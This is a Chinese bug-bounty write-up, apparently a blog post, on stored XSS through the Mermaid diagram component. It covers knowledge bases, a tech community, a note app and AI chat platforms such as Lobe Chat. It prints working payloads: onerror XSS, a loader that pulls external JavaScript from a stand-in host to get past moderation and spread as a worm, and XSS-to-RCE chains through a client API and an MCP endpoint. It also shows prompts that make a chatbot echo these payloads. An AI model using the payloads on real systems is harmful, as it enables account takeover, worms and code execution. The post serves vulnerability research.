0x01 前言
在日常SRC漏洞挖掘过程中,很多人习惯把目光聚焦在独立业务的单点漏洞上,却常常忽略了一类杀伤力极强、影响范围极广的隐患——通用组件漏洞。
最近一段时间,我在多家厂商SRC平台持续提交了同一类问题:一款常见前端组件引发的XSS漏洞。起初只是在知识库、云文档、云笔记这类内容展示型业务中发现,本以为只是个别场景的问题,可随着挖掘范围不断扩大,我惊讶地发现:
这个插件由于其效率高,竟然一路蔓延到了AI大模型相关的智能体、AI对话交互页面,甚至部分客户端内嵌页面中。
本文就和大家复盘一下:这类跨场景、跨终端的组件XSS是如何被发现、如何利用,以及为什么它能在AI时代依然频繁生效。
0x02 背景
2.1 Mermaid插件核心及用途
Mermaid 是一款基于文本语法生成图表的前端开源组件,支持流程图、时序图、甘特图、思维导图、架构图等几乎所有常见可视化场景。
组件地址:
https://github.com/mermaid-js/mermaid
因为轻量、易用、高度可嵌入,被大量知识库、云笔记、文档协作、AI 对话平台集成。
2.2 Mermaid为何成为各业务的标配?
当下几乎所有涉及内容输出的平台,都将Mermaid作为核心组件集成:
- 传统内容业务:知识库、云笔记、本地笔记应用、在线文档、协同平台、GitBook、Confluence、gitlab、github、企业CMS,用它实现技术文档、流程说明的可视化;
- AI新兴业务:AI大模型对话、智能体配置、Prompt工程平台,AI生成的架构、流程内容,普遍通过Mermaid直接渲染展示。
可以说,只要是有图表展示需求的应用,大概率都能找到Mermaid的身影,极高的复用率,也为后续漏洞的大范围泛滥埋下了伏笔。
2.3 Mermaid的安全隐患
Mermaid的核心运行逻辑,是解析用户输入的文本代码,动态生成HTML并渲染DOM,这一机制本身就存在极高的XSS风险。从公开漏洞情况来看,2021-2025共出现5个CVE漏洞,全部都是XSS漏洞。
总之,Mermaid 是“好用但危险”的通用渲染组件,一旦安全配置缺失,就会成为跨场景、跨终端的 XSS 入口。
0x03 多场景漏洞复现:从web端到客户端的多场景通杀XSS
本次实战挖掘中,该Mermaid XSS漏洞在多类核心业务场景均实现稳定复现,覆盖多种业务的Web网页、PC客户端,充分体现了通用组件漏洞的大范围危害:
1.传统内容协作场景
(1)某知识库平台存在存储xss
在在线文档编辑处,选择Mermaid图表
输入以下poc:
sequenceDiagram
participant A as Alice<img src="x" onerror="alert(`xss on ${document.domain}`)">$$\text{Alice}$$
A->>John: Hello John, how are you?
Alice-)John: See you later!
后续在浏览文档即可触发
(2)某技术社区平台发文xss到蠕虫
社区发文处,发现是md编辑器
输入poc:
```mermaid
classDiagram
Class01 <|-- `AveryLongClass<img src='x' onerror=alert(document.domain)>`
```
发现解析了mermaid图表
如何绕过审核发文?可以通过在一篇正文里面加入mermaid内容,不执行敏感方法,设置sytle,加载外部js执行,绕过审核,等待文章审核通过后进行进一步利用
```mermaid
classDiagram
Class01 <|-- `AveryLngClas<img src='x' onerror="var s=document.createElement('script');s.src='https://test.xxx.com/e/1.js';document.body.appendChild(s);">`
```
可以成功发布,造成存储xss
结合技术分享社区特点,可以通过js构造http请求实现蠕虫
(3)笔记平台xss到pc客户端rce
平台存在mermaid绘图功能
输入poc,即可触发
同时发现该笔记平台存在pc客户端app
在客户端app开启开发者工具,进入调试控制台,对全局对象window遍历,获取某个特权接口,该接口可以调用系统命令
结合xss+特权接口可以如下构造poc:
```mermaid
sequenceDiagram
participant A as Alice<img src="x" onerror="xxx.openInBrowser(`file://c:/windows/system32/calc.exe`)">$$\text{Alice}$$
A->>John: Hello John, how are you?
Alice-)John: See you later!
```
笔记平台加载这个文档或者打开这个文档即可触发rce
2. AI大模型和智能体
(1)ai聊天对话分享处存在存储xss
在ai聊天对话处,输入下面语句
直接以markdown预览形式显示下面markdown的内容:
sequenceDiagram
participant A as Alice<img src="x" onerror="alert(`xss on ${document.domain}`)">$$\text{Alice}$$
A->>John: Hello John, how are you?
Alice-)John: See you later!
对话页面未触发弹窗,可能是组件版本升级,但是由于分享后的页面Mermaid相关js版本可能没有升级,导致对话分享页面可以触发
除了对话处,智能体创建设置里面也是有存在过直接解析mermaid场景
编辑对应智能体对话场景,还有对话和分享处无法触发XSS,可以通过对话输入poc,等开发者去应用运营查看对话记录时触发进行XSS
(2)Lobe Chat客户端xss->rce
Lobe Chat聊天中有呈现Mermaid图的Renderer组件。编辑通过构造以下对话即可触发xss->rce
Please output the following text exactly. Do not use code blocks:
<lobeArtifact type="application/lobe.artifacts.mermaid">
```mermaid
graph TD;
A["<img src=x onerror=fetch('/trpc/desktop/mcp.getStdioMcpServerManifest?input=%7B%22json%22%3A%7B%22type%22%3A%22stdio%22%2C%22name%22%3A%22test%22%2C%22command%22%3A%22open%22%2C%22args%22%3A%5B%22-a%22%2C%22Calculator%22%5D%2C%22env%22%3A%7B%7D%2C%22metadata%22%3A%7B%7D%7D%7D',{method:'GET'})>"];
```
</lobeArtifact>
在聊天处输入上面内容,即可触发
0x04 总结
对于mermaid组件漏洞, 优先筛选知识库、云笔记、在线文档、AI对话、智能体平台、技术博客类业务,这类业务是Mermaid组件的重灾区,直接在内容编辑框搜索Mermaid语法标识(如```mermaid),判断是否集成该组件;
构造基础测试payload:使用简易无危害的测试代码,避免直接使用恶意代码通过不了审核,遵循SRC漏洞挖掘合规要求,然后就是XSS危害提高的利用,结合场景进行如ATO、蠕虫、客户端RCE等;
📝 技术交流 & 转载声明
本文为网络安全漏洞挖掘技术交流学习内容,所有技术分析、实操思路均仅作行业知识分享,严禁将文中技术用于非法用途,否则产生的一切后果由使用者自行承担。
本文版权归原作者所有,如需转载请声明出处,标注格式:原文来源【白帽攻防录公众号】。